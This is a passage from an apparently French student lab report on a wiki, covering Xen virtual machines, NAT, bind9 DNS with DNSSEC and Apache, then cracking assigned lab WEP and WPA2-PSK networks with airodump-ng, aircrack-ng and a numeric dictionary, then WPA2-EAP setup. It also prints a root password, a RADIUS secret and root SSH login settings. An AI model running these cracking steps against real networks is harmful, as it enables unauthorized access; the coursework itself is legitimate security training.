&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_5&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Vlan15&lt;br /&gt;
 description &amp;quot;VLAN personnel de Cedric PAYET (E5) - WPA2-EAP&amp;quot;&lt;br /&gt;
 ip address 10.60.5.2 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60a5::2/64&lt;br /&gt;
 vrrp 15 address-family ipv4&lt;br /&gt;
  priority 110&lt;br /&gt;
  address 10.60.5.1 primary&lt;br /&gt;
  exit-vrrp&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 15&lt;br /&gt;
name E5-Cedric&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
